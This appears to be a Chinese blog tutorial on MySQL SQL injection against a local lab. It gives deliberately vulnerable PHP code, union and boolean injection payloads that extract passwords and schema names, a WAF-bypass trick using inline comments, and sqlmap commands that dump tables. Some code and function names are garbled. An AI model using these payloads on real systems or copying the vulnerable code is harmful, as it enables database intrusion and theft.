zoey

谷歌浏览器可正常显示图片

0%

SQL 注入基础

SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。

SQL注入漏洞的产生需要满足的条件:

1,参数用户可控:前端传给后端的参数内容是用户可以控制的。

2,参数带入数据库查询时:传入参数拼接到SQL语句,且带入数据库查询。

与MySQL注入的相关知识点

mysql介绍

1
2
3
4
5
6
7
8
9
10
11
mysql 中 库,表,数据三者的关系  

表: 在数据库中,表(table)类似于excel,用来存放数据,表中有字段,不同的字段有不同的数据类型。

​ 字段:类似excel表头

数据: 有不同的存在形式:文本视频,图片,音频,文本等

​ 数据类型:字符串(var)(varchar) 整数(int,bright)小数(float) 日期(date)等

库: 用来存放表的,可以存放n张表

增删检改

1
2
3
4
5
6
7
8
创建一个数据库  CREATE DATABASE 库名;
删除数据库 DROP DATABASE 库名;
在创建库时,指定编码 create database 库名 character set 编码名


创建表(table) create table 表名(字段1 数据类型,字段2,数据类型)
例:create table 成绩表( 姓名 varchar(40),班级 varchar(20), 成绩表 float );
删除表 DROP table 表名;

往指定的表中添加数据:

1
2
3
4
5
insert into 表名(字段1,字段2,......)  values(值1,值2....)

insert into `成绩表`(姓名,班级,成绩)values(`老王` ,`dt55`,90.5)

insert into 成绩表(姓名)values(老王);

第二种语法:

1
2
3
4
5
6
7
insert into 表名 set 字段名1=自动值1,字段名2=字段值2...

insert into `成绩表` SET 姓名=`李四`;

删除数据语法:delete from 表名 where 条件

delete from `成绩表` where 姓名=`李四`;

注释符

1
2
3
4
5
6
7
8
9
10
11
mysql注释符

1、#...

2、"-- ..." 相当于--+

3、/*...*/

4,内联注释:只有Mysql可以识别,常用来绕过WAF
内联注释可以被执行/*! */ 内联注释可以用于整个SQL语句中,用来执行我们的SQL语句
例:?id=1 /*!union*/ /*!SELECT*/ 1,2,3

MySQL总表

在Mysql5.0版本之后,MySQL默认在数据库中存放一个“information——schema”的数据库,mysql数据库的所有内容都在这个库里,需要记住三个表名,分别为SCHEMATA,该表存放用户建立的所有数据库的哭名。

TABLES表存储用户创建的所有数据库的库名和表名。

COLUMNS表存储用户创建的所有数据库的额库名,表名和字段名。

MySQL查询语句

在不知道任何条件下,可用:

1
2
select 要查询的字段名 from 库名.表名
//数据库.表名 可以查询指定数据库的指定表

在知道一条已知条件下,可有:

1
select 要查询的字段名 from 库名.表名 where 已知条件的字段名=‘已知条件的值’

在知道两条已知条件时,可用:

1
select 要查询的字段名 from 库名.表名 where 已知条件1的字段名=‘已知条件1的值’ AND  已知条件2的字段名=‘已知条件2的值’

查询总表

查询字段

limit的用法

limit的使用格式为limitm,n,其中m是指记录开始的位置,n是指取几条记录。

limit查询

sql函数

1
2
3
4
5
6
7
8
9
AIISC函数     ascii()#括号中的参数转化成相应的ascii码
​ 例:select ascii('a')#输出结果为97

substr函数 substr(a,b,c) 从b位置开始,截取字符串a的c函数
​ select assii('cxk',1,1) 返回c

sleep函数 sleep(5) 休眠5秒
​ and if (1<2,sleep(5),0)--+
​ 从语句可以知道如果给第一个select执行成功,那么将会执行sleep(5)进行五秒的休眠

Union注入攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
header("Content-Type: text/html;charset=utf-8");
$server = "127.0.0.1";
$username = "root";
$passwd = "root";
$dbname = "xiaoming";
$conn = new mysqli($server,$username,$passwd,$dbname);
if ($conn->connect_error<>0){
die("Error".$conn->connect_error);
}
$id = $_GET['id'];
$data = $conn->query("select * from good where id=".$id);
$result= $data->fetch_array(MYSQL_ASSOC);
echo $result['username'];
echo $result['password'];
?>

good表

判断是否存在注入点

1
2
3
4
5
6
7
8
通过在url中修改对应的id值,为正常数字,大数字,字符(单引号,双引号,双单引号,括号),反斜杠\来探测url中是否存在注入点。

1,加入单引号‘ 提交
结果:如果出现错误提示,则该网站可能存在注入漏洞

2 加入字段提交
语句:and 1=1;and 1=2;
结果:分别返回不同的页面,说明存在注入漏洞

?id=1

?id=1'

由此可知,我们编写的数据库存在sql注入漏洞。

order by 判断字段数量

我们已经得到该网站可能存在SQL注入漏洞的结论,接着使用order by 1-99语句查询该数据表的字段数量。如访问id=1 order by 3,页面返回与id=1相同的结果,访问id=4,页面返回与id不同的结果,则字符段为3.

我们还可以使用order by 1,2,3,order by 1,2,3,4 返回不同的页面,则字符断为3.

order by 1,2,3

order by 1,2,3,4

联合查询判断注入点

我们已经知道一共有三个字段,当id=1时,能够成功执行,则不会返回union select的语句,当id=-1时,服务器会返回union select的结果,可以看到,我们可以查询第二个字段和第三个字段。

union

union查询也可以获得当前数据库

union7

获得当前数据库的第一个表名

1
?id=-1+union+select+1,(select+password+from+xiaoming.good+where+id=1),3

获取表名当中的字段名

1
?id=-1+union+select+1,(select+column_name+from+information_schema.colimns+where+table_schema='xiaoming'+and+tablename='good'+limit+1,1),3

查询第一个字段

union9

查询第二个字段

union10

Boolean注入攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
header("Content-Type: text/html;charset=utf-8");
$server = "127.0.0.1";
$username = "root";
$passwd = "root";
$dbname = "xiaoming";
$conn = new mysqli($server,$username,$passwd,$dbname);
if ($conn->connect_error<>0){
die("Error".$conn->connect_error);
}
$id = $_GET['id'];
column_name from information_schema.columns where table_schema='xiaoming' and table_name='good' limit 1,1),3");
if(preg_match("/union|sleep|benchmark/i",$id))
{exit("no");
}
$data = $conn->query("select * from good where id=".$id);
$row= $data->fetch_array(MYSQL_ASSOC);
if($row){
exit("yes");
}else{
exit("no");
}
?>

分析代码可知,页面只返回yes和no,而没有返回数据库里面的数据,所有不能使用union注入。

可以尝试Boolean注入。Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的。

访问id=1 and 1=2 返回no,访问id=1 and 1=1 返回yes,由此可以判断,可以尝试利用Boolean注入构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的。

查询判断数据库的长度

boolean2

boolean3

可知,数据库的长度为8。

利用substr判断数据库的库名

boolean4

boolean6

我们可以利用Burp爆破数据库中的库名,同理,我们也可以利用burp爆破数据库中的表名。

1
1 and ord(substr((select table_name from information_schema.tables where table_schema='xiaoming' limit 0,1),1,1))=105

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

sqlmap参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
–is-dba 当前用户权限(是否为root权限)
-db database
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–tables -T 指定表名
-D 列出指定数据库的表
--columns 获取列
--count 获取有几行数据
-C 读取数据(例如-C “username,password”)
--dump 导出数据
--level5:探测等级
--roles:列出数据库管理员角色
-sql-shell:运行自定义SQL语句
-file-read:从数据库服务器中读取文件


--referer:HTTP Referer头 (-r REQUESTFILE 从一个文件中载入HTTP请求。)
SQL可以在请求中伪造HTTP的referer,当--level参数设定为3或者3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如--referer http://www.baidu.com

-p TESTPARAMETER 可注入的参数
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

–data
data后面的数据是以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数
sqlmap -u “http://192.168.120.249/baji/login.php” --data=“username=111111&password=111111”

判断是否存在注入

利用下列代码进行演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
header("Content-Type: text/html;charset=utf-8");
$server = "127.0.0.1";
$username = "root";
$passwd = "root";
$dbname = "xiaoming";
$conn = new mysqli($server,$username,$passwd,$dbname);
if ($conn->connect_error<>0){
die("Error".$conn->connect_error);
}
$id = $_GET['id'];
$data = $conn->query("select * from good where id=".$id);
$result= $data->fetch_array(MYSQL_ASSOC);
echo $result['username'];
echo $result['password'];
?>

sqlmap1

sqlmap2

当注入点后面的参数大于等于两个时,需要加双引号

1
python sqlmap.py -u http://127.0.0.1/sql1.php?id=1&uid=2

判断文本当中的请求是否存在注入

1
2
3
4
5
6
7
8
9
GET /sql1.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: bilibili Security Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

将该HTTP请求保存为1.txt

sqlmap3

查询当前用户下的所有数据库

1
sqlmap.py -u http://127.0.0.1/sql1.php?id=1 --dbs

查询当前所在的数据库

1
python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" --current-db

暴库

使用sqlmap查询当前数据库中的表名

1
python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" -D 当前数据库名 --tables 

获取表中的字段名

1
python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" -D 数据库名 -T 表名 --columns

获取字段内容

1
python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" -D 数据库名 -T 表名 -C 字段名,字段名 --dump

为方便理解,在代码中加了换行。

发现只有当查询语句只返回一个字符串(值)才有正常的回显。

union6

1
?id=-1+union+select+1,(select+table_name+from+information_schema.tables+where+table_schema='xiaoming'+limit+0,1),3

union8